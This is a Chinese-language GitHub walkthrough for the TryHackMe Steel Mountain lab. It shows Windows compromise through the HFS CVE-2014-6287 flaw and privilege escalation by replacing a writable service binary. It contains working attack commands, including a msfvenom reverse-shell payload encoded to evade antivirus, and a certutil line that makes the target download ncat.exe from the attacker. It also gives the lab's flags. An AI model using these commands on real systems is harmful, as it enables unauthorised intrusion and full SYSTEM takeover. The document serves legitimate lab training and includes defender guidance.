abanop22333/Steel-Mountain-TryHackMe-Walkthrough-Windows-Privilege-Escalation-HFS-RCE

GitHub: abanop22333/Steel-Mountain-TryHackMe-Walkthrough-Windows-Privilege-Escalation-HFS-RCE

这是一个TryHackMe Steel Mountain房间的渗透测试演练指南,教授如何利用CVE-2014-6287进行初始访问和通过服务配置错误提升权限。

Stars: 0 | Forks: 0

[![BobXploit 网络安全](https://img.shields.io/badge/BobXploit-Cybersecurity-21262d?style=for-the-badge&labelColor=21262d)](https://github.com/bobxploit)
![TryHackMe](https://img.shields.io/badge/TryHackMe-21262d?style=flat-square&logo=tryhackme&logoColor=f85149) ![Nmap](https://img.shields.io/badge/Nmap-21262d?style=flat-square&logo=nmap&logoColor=388bfd) ![Metasploit](https://img.shields.io/badge/Metasploit-21262d?style=flat-square&logo=metasploit&logoColor=f85149) ![PowerShell](https://img.shields.io/badge/PowerShell-21262d?style=flat-square&logo=powershell&logoColor=388bfd) ![Python](https://img.shields.io/badge/Python-21262d?style=flat-square&logo=python&logoColor=e3b341) ![winPEAS](https://img.shields.io/badge/winPEAS-21262d?style=flat-square&logo=github&logoColor=f0883e) ![GitHub](https://img.shields.io/badge/GitHub-21262d?style=flat-square&logo=github&logoColor=3fb950)

# Steel Mountain TryHackMe 通关指南 ## Windows 权限提升 与 HFS 远程代码执行
Steel Mountain Room Icon
## 📋 目录 - [执行摘要](#executive-summary) - [房间概览](#room-overview) - [使用工具](#tools-used) - [侦察与枚举](#reconnaissance--enumeration) - [识别漏洞](#identifying-the-vulnerability) - [使用 Metasploit 获取初始访问权限](#initial-access-with-metasploit) - [用户标志](#user-flag) - [使用 PowerUp 提权](#privilege-escalation-with-powerup) - [利用服务配置错误](#exploiting-the-service-misconfiguration) - [SYSTEM Shell 与根标志](#system-shell--root-flag) - [不使用 Metasploit 的手动利用](#manual-exploitation-without-metasploit) - [winPEAS 枚举](#winpeas-enumeration) - [经验教训](#lessons-learned) - [参考文献](#references) ## 执行摘要 | 字段 | 详情 | |---|---| | **目标 IP** | `10.114.185.20` | | **操作系统** | Windows Server 2012 R2 (6.3 Build 9600) | | **架构** | x64 | | **关键漏洞** | CVE-2014-6287 — Rejetto HFS 远程代码执行 | | **利用模块** | `exploit/windows/http/rejetto_hfs_exec` | | **漏洞端口** | `8080` (HTTP File Server 2.3) | | **权限提升** | AdvancedSystemCareService9 — 可写服务二进制文件 | | **用户标志** | `b04763b6fcf51fcd7c13abc7db4fd365` | | **根标志** | `9af5f314f57607c00fd09803a587db80` | ## 房间概览 本指南涵盖**两条完整的攻击路径**: - **路径 A** — 使用 Metasploit 的完整利用 - **路径 B** — 不使用 Metasploit 的完整手动利用(OSCP 风格) ## 使用工具 | 工具 | 用途 | |---|---| | ![Nmap](https://img.shields.io/badge/Nmap-blue?logo=nmap&logoColor=white) | 端口扫描与服务枚举 | | ![Metasploit](https://img.shields.io/badge/Metasploit-red?logo=metasploit&logoColor=white) | CVE-2014-6287 利用 | | `msfvenom` | 恶意载荷生成 | | `PowerUp.ps1` | Windows 权限提升枚举 | | `winPEAS` | 自动化 Windows 枚举 | | `netcat` | 反向 Shell 监听器 | | `certutil` | Windows 原生文件下载器 | | `python3` | 手动利用执行与 HTTP 服务器 | ## 侦察与枚举 在接触任何漏洞利用之前,我们使用 Nmap 并配合版本检测、默认脚本、漏洞扫描和操作系统指纹识别来映射完整的攻击面。 ``` nmap 10.114.185.20 -sV -sC --script=vuln -O -Pn ``` **标志分解:** | 标志 | 用途 | |---|---| | `-sV` | 检测服务版本 | | `-sC` | 运行默认 Nmap 脚本 | | `--script=vuln` | 运行漏洞检测脚本 | | `-O` | 操作系统指纹识别 | | `-Pn` | 跳过主机发现(视主机为在线) | **扫描关键发现:** ``` PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2012 R2 3389/tcp open ssl/ms-wbt-server 8080/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` ## 识别漏洞 **CVE-2014-6287** 是 Rejetto HTTP File Server 2.3.x 版本中的一个严重远程代码执行漏洞。 | 字段 | 详情 | |---|---| | **CVE** | CVE-2014-6287 | | **CVSS 分数** | 7.5(高危) | | **受影响版本** | HFS 2.3, 2.3a, 2.3b | | **所需认证** | ❌ 无 | | **攻击向量** | 网络 | **根本原因:** `findMacroMarker` 函数未能正确清理 URL 搜索参数中的空字节(`%00`)。通过发送一个包含空字节后接 HFS 模板宏(例如 `{.exec|.}`)的精心构造的请求,攻击者可以在服务器上执行任意操作系统命令——无需任何认证。 ## 使用 Metasploit 获取初始访问权限 Metasploit 包含一个针对 CVE-2014-6287 的现成利用模块。启动 Metasploit: ``` msfconsole ``` 搜索并选择该利用模块: ``` msf6 > use exploit/windows/http/rejetto_hfs_exec ``` 配置所需参数: ``` msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 10.114.185.20 msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080 msf6 exploit(windows/http/rejetto_hfs_exec) > exploit ``` **利用输出:** ``` [*] Started reverse TCP handler on 10.114.66.80:4444 [*] Using URL: http://10.114.66.80:8080/rgHFMeTw [*] Server started. [*] Sending a malicious request to / [*] Payload request received: /rgHFMeTw [*] Sending stage (177734 bytes) to 10.114.185.20 [!] Tried to delete %TEMP%\zHbprOZvQjZrPH.vbs, unknown result [*] Meterpreter session 1 opened (10.114.66.80:4444 -> 10.114.185.20:49890) at 2026-05-15 01:26:33 +0100 [*] Server stopped. ``` 在 Meterpreter 提示符下验证系统信息: ``` meterpreter > sysinfo ``` ``` Computer : STEELMOUNTAIN OS : Windows Server 2012 R2 (6.3 Build 9600). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x86/windows ``` ## 用户标志 在文件系统中搜索用户标志: ``` meterpreter > search -f user.txt ``` ``` Found 1 result... c:\Users\bill\Desktop\user.txt (70 bytes) ``` 读取文件: ``` meterpreter > cat "c:\Users\bill\Desktop\user.txt" ``` ``` b04763b6fcf51fcd7c13abc7db4fd365 ``` ## 使用 PowerUp 提权 以 `bill` 身份获得初步立足点后,下一个目标是提升至 **SYSTEM** 权限。我们使用来自 [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) 框架的 **PowerUp.ps1** —— 一个自动检测常见 Windows 权限提升向量的脚本: - 未加引号的服务路径 - 可写的服务二进制文件 - 弱服务 ACL(访问控制列表) - AlwaysInstallElevated 注册表配置错误 - 可修改的服务注册表项 ### 下载 PowerUp.ps1 ``` wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 ``` ### 上传至目标 ``` meterpreter > upload /root/Desktop/PowerUp.ps1 ``` ### 加载 PowerShell 并执行 ``` meterpreter > load powershell meterpreter > powershell_shell ``` ``` PS > . ./PowerUp.ps1 PS > Invoke-AllChecks ``` ### PowerUp 输出 — 关键发现 ``` ServiceName : AdvancedSystemCareService9 Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe ModifiablePath : C:\Program Files (x86)\IObit\Advanced SystemCare\ CanRestart : True StartName : LocalSystem Check : Unquoted Service Paths AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path ``` ## 利用服务配置错误 ### 攻击计划 ``` [bill] → Replace ASCService.exe → Restart Service → [SYSTEM Shell] ``` ### 步骤 1 — 生成恶意载荷 在攻击机上,使用 `msfvenom` 创建一个 Windows 反向 Shell 服务可执行文件: ``` msfvenom -p windows/shell_reverse_tcp \ LHOST=10.114.66.80 \ LPORT=4443 \ -e x86/shikata_ga_nai \ -f exe-service \ -o ASCService.exe ``` | 标志 | 描述 | |---|---| | `-p windows/shell_reverse_tcp` | 标准 Windows TCP 反向 Shell | | `LHOST` / `LPORT` | 攻击者 IP 和监听端口 | | `-e x86/shikata_ga_nai` | 用于基本 AV 绕过的多态编码器 | | `-f exe-service` | 输出为 Windows 服务可执行文件 | | `-o ASCService.exe` | 与合法二进制文件同名的文件名 | ### 步骤 2 — 设置监听器 ``` msfconsole -q -x "use exploit/multi/handler; \ set PAYLOAD windows/shell_reverse_tcp; \ set LHOST 10.114.66.80; \ set LPORT 4443; \ exploit" ``` ### 步骤 3 — 上传载荷 ``` meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" ``` ### 步骤 4 — 停止、替换并重启服务 停止正在运行的服务: ``` sc stop AdvancedSystemCareService9 ``` 复制恶意载荷以覆盖合法二进制文件: ``` Copy-Item -Path "C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ASCService.exe" ` -Destination "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" ` -Force ``` 重启服务以触发以 SYSTEM 身份执行的代码: ``` sc start AdvancedSystemCareService9 ``` ## SYSTEM Shell 与根标志 服务启动的瞬间,Windows 以 **LocalSystem** 身份执行了我们的载荷。监听器捕获到了反向 Shell: ``` Connection from 10.114.185.20 received! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32> ``` 验证权限: ``` whoami ``` ``` nt authority\system ``` 定位并获取根标志: ``` where /r C:\ root.txt ``` ``` type C:\Users\Administrator\Desktop\root.txt ``` ``` 9af5f314f57607c00fd09803a587db80 ``` ## 不使用 Metasploit 的手动利用 ### 步骤 1 — 获取 Python 利用代码 ``` searchsploit rejetto searchsploit -m 39161.py ``` 编辑利用配置变量: ``` ip_addr = "10.112.125.29" # Your TryHackMe VPN IP local_port = "443" # Listener port ``` ### 步骤 2 — 设置 Netcat 监听器 ``` nc -lnvp 443 ``` ### 步骤 3 — 下载静态 Ncat 二进制文件 该利用使用 `certutil` 将 `ncat.exe` 从我们的 HTTP 服务器拉取到目标机器: ``` wget https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe ``` ### 步骤 4 — 通过 Python HTTP 服务器托管文件 ``` python3 -m http.server 80 ``` ### 步骤 5 — 执行利用 ``` python3 CVE-2014-6287.py 10.13.12.138 8080 ``` **内部执行过程:** ``` Attacker HFS Server (Target) | | |-- Sends crafted HTTP request ------>| | |-- Executes: certutil -urlcache -f |<-- Target downloads ncat.exe -------| http://10.13.12.138/ncat.exe | | |<-- ncat.exe connects back (443) ----| | | [shell as bill] ``` 该利用触发 HFS 模板注入,导致服务器运行: ``` certutil -urlcache -f http://10.13.12.138:80/ncat.exe ncat.exe ``` 这会使用**原生 Windows 二进制文件**从我们的 HTTP 服务器下载 `ncat.exe` —— 目标机器上无需任何额外工具。 ## winPEAS 枚举 **winPEAS**(Windows 权限提升绝佳脚本)对数百个权限提升向量进行全面的自动化枚举。 ### 下载 winPEAS ``` wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe ``` ### 通过 certutil 传送至目标 ``` certutil -urlcache -f http://10.13.12.138:80/winPEASx64.exe winPEASx64.exe ``` ``` **** Online **** 000000 ... 0b2e00 CertUtil: -URLCache command completed successfully. ``` ### 执行 winPEAS ``` .\winPEASx64.exe servicesinfo ``` **确认漏洞的相关输出:** ``` [+] Interesting Services -non Microsoft- AdvancedSystemCareService9(Advanced SystemCare Service 9) [C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe] File Permissions: Everyone [AllAccess] Possible DLL Hijacking in binary folder: C:\Program Files (x86)\IObit\Advanced SystemCare (Everyone [AllAccess]) START_TYPE: 2 - AUTO_START RUN_AS: LocalSystem ``` ## 经验教训 ### 🛡️ 对防御者 | 发现 | 建议 | |---|---| | HFS 2.3 暴露在 8080 端口 | 立即打补丁。CVE-2014-6287 于 2014 年修复。实施持续漏洞管理。 | | 服务以 LocalSystem 身份运行 | 应用**最小权限**原则。服务很少需要 SYSTEM 权限。使用专用的低权限账户。 | | 服务目录 Everyone 可写 | 审计并限制所有服务二进制目录的 ACL。定期使用 `icacls` 或 `AccessChk`。 | | HFS 可从网络访问 | 实施**网络分段**。内部服务不应从不受信任的网段访问。 | | 无 FIM(文件完整性监控) | 在服务二进制目录部署**文件完整性监控**。二进制文件替换可立即被检测到。 | ### ⚔️ 对红队成员 - **枚举所有端口** — 关键服务在 `8080`,而非显而易见的 `80` 端口 - **同时使用 PowerUp 和 winPEAS** — 它们互为补充并能互相确认发现 - **`certutil` 是你的好朋友** — 可靠的原生 Windows 下载器,目标无需额外工具 - **精通手动利用** — Metasploit 是捷径,不是拐杖。手动路径对 OSCP 至关重要 ## 参考文献 | 资源 | 链接 | |---|---| | TryHackMe 房间 | [Steel Mountain](https://tryhackme.com/room/steelmountain) | | Rapid7 模块 | [exploit/windows/http/rejetto_hfs_exec](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/) | | Exploit-DB | [CVE-2014-6287 — EDB-39161](https://www.exploit-db.com/exploits/39161) | | NVD | [CVE-2014-6287](https://nvd.nist.gov/vuln/detail/CVE-2014-6287) | | PowerSploit | [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) | | PEASS-ng | [winPEAS](https://github.com/carlospolop/PEASS-ng) | | 静态二进制文件 | [ncat.exe](https://github.com/andrew-d/static-binaries) |
**由 [BobXploit](https://github.com/abanop22333) 撰写** *渗透测试员与网络安全研究员* [![GitHub](https://img.shields.io/badge/GitHub-BobXploit-black?style=flat-square&logo=github)](https://github.com/bobxploit) [![TryHackMe](https://img.shields.io/badge/TryHackMe-Profile-red?style=flat-square&logo=tryhackme)](https://tryhackme.com) *关注获取更多 TryHackMe 通关指南、CTF 解题报告和攻击性安全内容。*
标签:AI合规, API接口, CISA项目, Conpot, CTF挑战, CTI, CVE-2014-6287, HFS漏洞, Metasploit框架, Nmap工具, PowerShell脚本, Python编程, Steel Mountain房间, TryHackMe平台, Windows安全, winPEAS工具, 初始访问, 协议分析, 命令执行, 威胁模拟, 安全演练, 手动漏洞利用, 提权演练, 插件系统, 攻击技术, 服务配置错误, 权限提升, 枚举扫描, 漏洞分析, 编程工具, 网络安全, 路径探测, 远程代码执行, 逆向工具, 隐私保护